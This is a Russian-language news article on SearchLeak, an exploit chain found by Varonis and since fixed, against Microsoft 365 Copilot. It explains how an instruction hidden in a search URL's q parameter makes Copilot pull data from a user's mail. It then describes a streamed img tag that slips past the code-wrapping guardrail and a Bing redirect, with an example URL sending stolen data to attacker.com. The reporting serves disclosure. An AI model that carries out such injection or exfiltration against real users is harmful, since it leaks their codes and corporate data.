В прошлый вторник компания Microsoft устранила уязвимость, которую оценила как максимально критическую, в своей платформе искусственного интеллекта M365 Copilot. В понедельник исследователи, обнаружившие уязвимость и сообщившие о ней Microsoft, раскрыли, как их эксплойт с доказательством концепции мог извлекать коды двухфакторной аутентификации (2FA) и другие конфиденциальные данные из писем, доступных Copilot.
Microsoft и другие поставщики больших языковых моделей (LLM) не смогли помешать своим продуктам выполнять вредоносные запросы на раскрытие данных. Коренная причина: боты ИИ не способны отличить инструкции, предоставленные пользователями, от тех, что были внедрены в сторонний контент, который модели обобщают, используют для составления ответов или выполнения других действий от имени пользователя. Поскольку нет способа обезопасить эту важнейшую границу, Microsoft и её конкуренты вынуждены возводить сложные и временные защитные барьеры, призванные сдержать последствия этой неизлечимой доверчивости.
Перепрыгивая через защитные барьеры
Один из защитных барьеров, встроенных в Copilot и большинство других LLM, не позволяет им отправлять веб-формы, отправлять электронные письма и выполнять аналогичные действия, которые могут быть использованы для эксфильтрации данных пользователя. Чтобы обойти это, хакеры LLM обратились к языку разметки, который, среди прочего, позволяет пользователям добавлять в текст элементы форматирования, такие как заголовки, списки и ссылки, без необходимости использования тегов HTML. Другой обходной путь — заключать конфиденциальные данные в теги HTML, такие как <img> и <form>. В любом случае веб-запрос, содержащий данные, поступает на веб-сервер злоумышленника, где секретная информация фиксируется в логах.
Один из защитных барьеров Microsoft заключает вывод Copilot в блоки <code>, чтобы браузер обрабатывал его как обычный текст. Другой — ограничивает сайты, которые Copilot может посещать без явного разрешения. Хотя Copilot имеет общее разрешение отправлять запросы на домены Microsoft, защитные барьеры ограничивают запросы к недоверенным сайтам.
Фирма по безопасности Varonis разработала цепочку эксплойтов, которая смогла перепрыгнуть через эти защитные барьеры. Первый элемент — это то, что исследователи называют внедрением через параметр в запрос (Parameter-to-Prompt Injection). Параметр в данном случае — это q в URL, который используется для пометки включенного запроса. Parameter-to-Prompt Injection является близким родственником внедрения в запрос (prompt injection). Разница в том, что вредоносная команда находится в параметре запроса, а не в электронном письме или другом фрагменте недоверенного контента.
,
Для осуществления Parameter-to-Prompt Injection злоумышленник отправляет цели письмо, содержащее URL с синтаксисом https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. Поле содержит инструкцию. Copilot охотно выполнил её.
«Функциональность поиска — это именно то, что нужно злоумышленникам, поскольку даже с ограниченными возможностями достаточно пользователя с доступом к критически важной информации», — написали исследователи в понедельник. «Для эксфильтрации данных злоумышленник составляет URL, который предписывает Copilot “Искать письма пользователя”, извлекать заголовок и встраивать его в URL изображения». Жертва ничего не вводит. Она кликает по ссылке, а Copilot делает всё остальное.
Обычно срабатывает защитный барьер, заключающий вывод в блоки <code>. Но исследователи обнаружили, что защита срабатывает только после фазы «размышления». До этого Copilot генерировал свой ответ, используя необработанный HTML, который временно отображается в DOM браузера.
Исследователи написали:
Таким образом, последовательность выглядит следующим образом:
- Copilot начинает потоковую передачу своего ответа, который включает тег <img>
- Браузер видит <img>, отображает его и отправляет HTTP-запрос на URL источника (src)
- Copilot заканчивает генерацию. Защитный барьер заключает всё в <code>
- Слишком поздно! Запрос уже ушёл.
Теперь у исследователей был запрос на изображение, отправляемый из браузера цели. Проблема, как отмечалось ранее, заключается в том, что Copilot не отправляет запросы на изображения на большинство веб-сайтов. Чтобы масштабировать этот защитный барьер, цепочка эксплойтов использовала поисковую систему Bing от Microsoft в качестве своеобразного трамплина. Согласно политике безопасности контента Copilot, Bing входит в число сайтов, которым разрешено отправлять такие запросы. Затем Bing перенаправлял запрос на домен, контролируемый злоумышленником, который был включен в запрос. Запрос выглядел примерно так:
https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png
Varonis назвала эту атаку SearchLeak.
«Поскольку SearchLeak нацелена на корпоративный уровень Microsoft, радиус поражения не ограничивается личными данными — она может раскрыть всё, к чему у пользователя есть доступ внутри организации, включая электронные письма, приглашения на встречи и заметки», — написали исследователи компании. «Документы SharePoint, файлы OneDrive и другой индексируемый бизнес-контент. В зависимости от того, как M365 подключен к среде, радиус поражения может быть ещё шире».
Как отмечалось, Microsoft исправила уязвимости, которые использовал SearchLeak, во вторник. Однако, поскольку нет известного способа устранить основную причину таких провалов (SNAFU), злоумышленники неизбежно найдут новые способы обойти вновь созданные защитные барьеры, и процесс повторится снова.
Всегда имейте в виду, что редакции могут придерживаться предвзятых взглядов в освещении новостей.
Автор – Dan Goodin




